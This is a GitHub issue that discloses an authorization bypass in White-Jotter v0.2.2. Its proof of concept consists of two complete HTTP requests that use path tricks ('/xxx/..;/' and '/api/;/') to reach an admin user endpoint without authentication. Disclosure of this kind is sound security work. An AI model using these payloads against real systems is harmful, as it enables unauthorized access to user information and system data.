Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Authorization bypass #159

Open
gaogaostone opened this issue Oct 21, 2024 · 1 comment
Open

Authorization bypass #159

gaogaostone opened this issue Oct 21, 2024 · 1 comment

Comments

@gaogaostone
Copy link

gaogaostone commented Oct 21, 2024

White-Jotter v0.2.2 has an authorization bypass vulnerability, allowing unauthorized users to access sensitive system information and even modify critical system data. This vulnerability compromises the confidentiality, integrity of the system.

Proof of Concept

  1. Visit the url http://x.x.x.x:8443/api/admin/user to get user information. Without cookie, it responses no data. The request and response are as following. It should be an authorized request.
    image
  2. Add “/xxx/..;/” in the head of the request path, aka the new url is http://x.x.x.x:8443/xxx/..;/api/admin/user. Although without cookie, it responses with user information. It bypasses the authentication.
GET /xxx/..;/api/admin/user HTTP/1.1
Host: x.x.x.x:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Origin: http://x.x.x.x:8080
Connection: keep-alive
Referer: http://x.x.x.x:8080/

image
3. We can also use this payload to bypass the authentication.

GET /api/;/admin/user HTTP/1.1
Host: x.x.x.x:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Origin: http://x.x.x.x:8080
Connection: keep-alive
Referer: http://x.x.x.x:8080/

image

@CFH-Steven
Copy link

CFH-Steven commented Oct 21, 2024 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants